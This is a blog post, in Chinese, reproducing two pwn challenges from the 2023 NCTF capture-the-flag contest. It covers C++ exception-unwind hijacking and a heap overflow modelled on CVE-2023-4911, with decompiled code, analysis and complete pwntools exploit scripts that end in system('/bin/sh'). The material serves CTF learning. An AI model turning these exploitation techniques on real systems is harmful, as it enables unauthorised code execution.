2023-nctf-部分赛题复现

本文最后更新于:2024年1月23日 下午

2023-nctf-部分赛题复现

额,好久都没写博客了,主要是懒。。。

这个赛题复现文章也是鸽了好久。这次nctf的题总体感觉还是不错的,就复现了两道比较有趣(难)的题。

nception

这道题使用C++写的,经典增删改查操作。比较好的一点是,程序没有去符号,逆向起来不是很难。

add 功能固定分配0x18的控制块与0x200的buffer。

showdestroy 函数没什么好说的,就正常打印与删除功能,实现上没有漏洞。

edit函数存在漏洞点,这里我们仔细分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __cdecl edit()
{
std::invalid_argument *exception; // rbx
unsigned __int64 v1; // rax
std::invalid_argument *v2; // rbx
__int64 v3; // rax
unsigned int idx; // [rsp+0h] [rbp-240h] BYREF
unsigned int off; // [rsp+4h] [rbp-23Ch] BYREF
test *victim; // [rsp+8h] [rbp-238h]
char *target_buf; // [rsp+10h] [rbp-230h]
unsigned __int64 avail_size; // [rsp+18h] [rbp-228h]
char buf[512]; // [rsp+20h] [rbp-220h] BYREF
unsigned __int64 v10; // [rsp+228h] [rbp-18h]

v10 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "To write object, input idx: ");
std::istream::operator>>(&std::cin, &idx);
if ( idx > 6 || !ptrs[idx] )
{
exception = __cxa_allocate_exception(0x10uLL);
std::invalid_argument::invalid_argument(exception, "Invalid idx");
__cxa_throw(exception, &`typeinfo for'std::invalid_argument, &std::invalid_argument::~invalid_argument);
}
victim = ptrs[idx];
std::operator<<<std::char_traits<char>>(&std::cout, "Now data offset: ");
std::istream::operator>>(&std::cin, &off);
target_buf = test::getbuf(victim, off); // 获取victim[off]的地址,及写入的起始位置
avail_size = test::getsize(victim, target_buf); // 计算能够写入的size大小
if ( avail_size )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Now input your data: ");
std::operator>><char,std::char_traits<char>>(&std::cin, buf); // 使用cin输入,没有检查输入大小,存在overflow漏洞
v1 = strlen(buf);
if ( avail_size < v1 ) // 若是输入大小大于avail_size,进行错误处理
{
v2 = __cxa_allocate_exception(0x10uLL);
std::invalid_argument::invalid_argument(v2, "Buf too long");
__cxa_throw(v2, &`typeinfo for'std::invalid_argument, &std::invalid_argument::~invalid_argument);
}
strncpy(target_buf, buf, avail_size);
}
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Done!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}

edit函数存在溢出漏洞,但是使用异常处理对错误进行捕获,大概率是劫持C++异常执行流。

程序存在两处异常执行流。但比赛时眼拙,只找到了一个,又没写出来。。。

第一处,main函数的错误处理。这个成功捕获异常的话,会回到main 函数重新执行。

image-20240122234829745

第二处,cleanup函数的错误处理。这个成功捕获的话,会调用leave; ret 恢复栈帧,但是会关闭所有输入输出流。

image-20240122234912278

根据作者博客所言,预期解是利用cleanup 这个错误处理,执行rop链获取shell。但是这个rop过于复杂,看得脑袋都晕了才大致明白,想了解rop如何构造的话,还是看题目作者的博客吧。

这里我主要是针对LaoGong战队的利用方法进行复现。

利用思路如下:

  1. 利用edit 溢出覆盖rbp与ret地址
  2. 利用错误处理unwind过程中恢复栈帧这一原理劫持main 函数的rbp
  3. 修改控制块指向的buf,构造buffer重叠,获得任意地址读写
  4. 劫持tls结构体获取shell

这里针对第二步与第三步进行调试。

异常处理回溯到main函数的catch中。

image-20240123005646295

调用__cxa_begin_catch 后会将libcpp.so地址写入相对于rbp偏移的地址,可以泄露libcpp地址。

image-20240123010250295

写入libcpp地址的同时,覆盖控制块的buffer,变相构造了堆重叠,从而可以编辑下一个堆块的buffer。

image-20240123010345345

继续执行,可以看到成功构造buffer重叠。

image-20240123005335079

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('your choice: ', str(index))


def add():
menu(1)


def show(index):
menu(3)
p.sendlineafter('you want to read?', str(index))


def edit(index, offset, content):
menu(2)
p.sendlineafter('input idx: ', str(index))
p.sendlineafter('data offset: ', str(offset))
p.sendlineafter('your data: ', content)


def delete(index):
menu(4)
p.sendlineafter('you want to destroy?', str(index))


def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


alarm_got = elf.got['alarm']

bss = 0x406000 + 0x400
error = 0x402DC5

leave_ret = 0x402F1D

add()
delete(0)
add()
show(0)
p.recvuntil(b"Data: ")
heapleak = u16(p.recv(2))
heap_base = (heapleak - 0x11) << 12
lg('heap_base', heap_base)

fakeheap = heap_base + 0x11eb0

# 0x7ffff7cae4c6 -> _Unwind_RaiseException@plt
dbg('''
b *0x4027b2
b *0x7ffff7cae4c6
b *0x418ea0
b *0x402d21
''')

edit(0, 0, b'@' * 0x200 + b'#' * 0x20 + p64(fakeheap + 0x18)[0:7])
show(0)
p.recvuntil(b'Data: ')
libcpp_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20c270
lg('libcpp_base', libcpp_base)

add()
edit(0, 0x50, p64(alarm_got))
edit(0, 0x58, p64(0x10))
show(1)

alarm = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = alarm - 0xd3b60
lg('libc_base', libc_base)

ld_base = libc_base + 0x5ac000
lg('ld_base', ld_base)

system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()

tls = libc_base + 0x484740
lg('tls', tls)

tls_dtor_list = tls - 0x78
fake_dtor = heap_base + 0x12410

edit(0, 0x50, p64(tls + 0x30))
show(1)

p.recvuntil('Data: ')
point_guard = u64(p.recv(8))
lg('point_guard', point_guard)

add()
edit(0, 0x50, p64(tls_dtor_list))
edit(0, 0x58, p64(0x10))
edit(1, 0, p64(fake_dtor))

target = ROL(system ^ point_guard, 0x11)
lg('target', target)

edit(2, 0x10, p64(target))
edit(2, 0x18, p64(binsh))

# dbg('''
# b exit
# ''')

menu(5)

p.interactive()

image-20240123010908879

npointment

这道题整体逆向起来也不是很难。

但是这道题有一个比较奇怪的函数sub_14B3(一看就是漏洞点)。说实话,比赛时看出来这个函数是对content内容进行解析,但是没太看懂这个函数实现细节。比较幸运的是,手动测出来了漏洞点,但还是因为没太看懂函数操作,没利用起来。

根据作者wp,这个程序漏洞点是对CVE-2023-4911的复刻。遂看了这个CVE,才大致理解程序的漏洞点。值得一提的是,这个CVE在利用上挺有趣的,感兴趣的师傅可以看看。

回到这道题上,其他功能没有问题。主要针对add 函数进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall add(const char *a1)
{
char *s1a; // [rsp+8h] [rbp-28h]
int i; // [rsp+10h] [rbp-20h]
unsigned int j; // [rsp+10h] [rbp-20h]
chunk *chunk; // [rsp+18h] [rbp-18h]
char *v7; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
chunk = (chunk *)get_chunk();
if ( chunk )
{
while ( 1 )
{
for ( i = 0; a1[i] != ' ' && a1[i] && a1[i] != '='; ++i )
;
if ( !a1[i] )
break;
if ( a1[i] != ' ' )
{
a1[i] = 0;
if ( !strcmp(a1, "content") )
{
s1a = (char *)&a1[i + 1]; // chunk->content + 'content'
for ( j = 0; s1a[j]; ++j ) // chunk->size
;
v7 = strdup(s1a);
if ( v7 )
{
parse_content(v7, (__int64)s1a); // ?
chunk->size = j;
chunk->content = v7;
}
else
{
puts("Failed to alloc appointment.");
if ( chunk->content )
{
free(chunk->content);
chunk->content = 0LL;
}
chunk->size = 0;
}
}
// ...

add函数调用strdup函数申请堆块,并调用parse_content 函数处理用户输入的content。这里需要关注函数参数,第一个参数是strdup 申请出来的,第二个参数单纯是复制栈上的content内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
unsigned __int64 __fastcall parse_content(char *heap, __int64 content)
{
size_t v2; // rax
int v3; // eax
char *v4; // rax
int v5; // edx
int v6; // eax
int v7; // eax
int v9; // [rsp+18h] [rbp-38h]
int i; // [rsp+1Ch] [rbp-34h]
unsigned int j; // [rsp+1Ch] [rbp-34h]
int k; // [rsp+20h] [rbp-30h]
unsigned int m; // [rsp+24h] [rbp-2Ch]
char *_heap; // [rsp+28h] [rbp-28h]
char *v15; // [rsp+30h] [rbp-20h]
char *__heap; // [rsp+38h] [rbp-18h]
__int64 v17; // [rsp+40h] [rbp-10h]
unsigned __int64 v18; // [rsp+48h] [rbp-8h]

v18 = __readfsqword(0x28u);
_heap = heap;
v9 = 0;
while ( 1 ) // date=date=a
{
__heap = _heap;
for ( i = 0; _heap[i] != '=' && _heap[i] != ':' && _heap[i]; ++i )
;
if ( !_heap[i] )
return v18 - __readfsqword(0x28u);
if ( _heap[i] == ':' )
{
_heap += (unsigned int)(i + 1);
}
else
{
_heap += (unsigned int)(i + 1);
v17 = _heap - heap + content;
for ( j = 0; _heap[j] != ':' && _heap[j]; ++j )
;
for ( k = 0; k <= 2; ++k )
{
v2 = strlen((&key_content)[k]);
if ( !strncmp((&key_content)[k], __heap, v2) )
{
if ( v9 )
{
v3 = v9++;
heap[v3] = ':';
}
v15 = (&key_content)[k];
while ( *v15 )
{
v4 = v15++;
v5 = v9++;
heap[v5] = *v4;
}
v6 = v9++;
heap[v6] = '=';
for ( m = 0; m < j; ++m )
{
v7 = v9++;
heap[v7] = *(_BYTE *)((int)m + v17);// 越界读写栈内容
}
*(_BYTE *)(j + v17) = 0;
break;
}
}
if ( _heap[j] )
_heap += j + 1;
}
}
}

当变量名为key_content中的字符串时,会进一步处理,也就是进行字符串复制操作,否则就单纯遍历content。

这里以输入date=date=a 为例。经过第一轮while循环,heap内容为date=date=a,但是_heap[j]为空,所以_heap不变,指向date=date=a。经过第二轮while循环,已经产生了越界,此时heap内容为date=date=a:date=a,但是_heap[j]依旧为空,所以_heap依然不变,但是_heap指向heap,而heap已经改变了,间接影响了_heap。此时_heap指向date=date=a:date=a。经过第三轮while循环,由于a后面是:,所以heap不变,_heap指向date=date=a:date=a。经历第四轮while循环,产生了越界读,此时heap内容为date=date=a:data=a:date=\0,_heap指向date=date=a:date=a:date=\0。第五轮while循环类似于第三轮,没什么好说的,就不说了,此时_heap指向date=date=a:date=a:date=\0。经过第六轮while循环,heap内容变为date=date=a:date=a:date=\0:date=,此时_heap指向date=date=a:date=a:date=\0 。在下一轮while循环中退出循环。

可以看到,这个函数确实是比较恶心,但是仔细分析也是能够看出来具体操作的。

利用思路:

  1. 利用越界读,覆盖下一个chunk的大小,构造堆重叠
  2. 释放大于tcache的chunk,泄露libc地址,并合理泄露heap地址
  3. 打tcache的next指针,获取任意地址写
  4. 由于使用strdup分配内存,而strdup实现过程中调用了strlen,覆盖stelen_got表为system即可。

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)

context.arch = 'amd64'
context.log_level = 'debug'

fn = './npointment-release'
elf = ELF(fn)
libc = ELF('./libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def add(content):
p.sendlineafter('$ ', b'add content=' + content)


def delete(index):
p.sendlineafter('$ ', b'delete index=' + str(index).encode())


def show():
p.sendlineafter('$ ', b'show ')


add(b'a') # 0
add(b'a') # 1
add(b'a') # 2
add(b'a' * 0x500) # 3
add(b'a') # 4

delete(0)

add(b'date=date=aaaaaaaaa\0' + b'b' * 21 + p64(0x531)) # 0 0x15

delete(2)
add(b'a') # 2
add(b'a' * 0x600) # 5

show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ff130
lg('libc_base', libc_base)

strlen = libc_base + 0x1fe080
system = libc_base + libc.sym['system']

add(b'a') # 6
delete(6)

show()

p.recvuntil('Appointment #3')
p.recvuntil('Content: ')
key = u64(p.recv(5).ljust(8, b'\x00'))
lg('key', key)
heapbase = key << 12
lg('heapbase', heapbase)

add(b'a') # 6
add(b'a' * 0x4e0) # 7

add(b'a') # 8
add(b'a') # 9
add(b'a') # 10
add(b'a') # 11
add(b'a') # 12
add(b'a' * 0x400) # 13
add(b'a') # 14

delete(11)
delete(12)
delete(8)

payload = b'date=date=aaaaaaaaa\0'
payload += b'b' * 21 + p64(0x471)
add(payload) # 8

delete(10)

add(b'a' * 0x40 + p64(strlen ^ key)) # 10
add(b'a') # 11
add(p64(system)) # 12

add(b'/bin/sh')

# dbg()

p.interactive()

image-20240123114858110

参考文章

https://blog.unauth401.tech/2023nctf/#nception

https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

https://ycznkvrmzo.feishu.cn/docx/FcpPdb6MfohmlDxkJ9DcXcdincc

https://blog.xmcve.com/2023/12/28/NCTF2023-Writeup/


2023-nctf-部分赛题复现
http://example.com/2024/01/22/2023-nctf-部分赛题复现/
作者
l1s00t
发布于
2024年1月22日
更新于
2024年1月23日
许可协议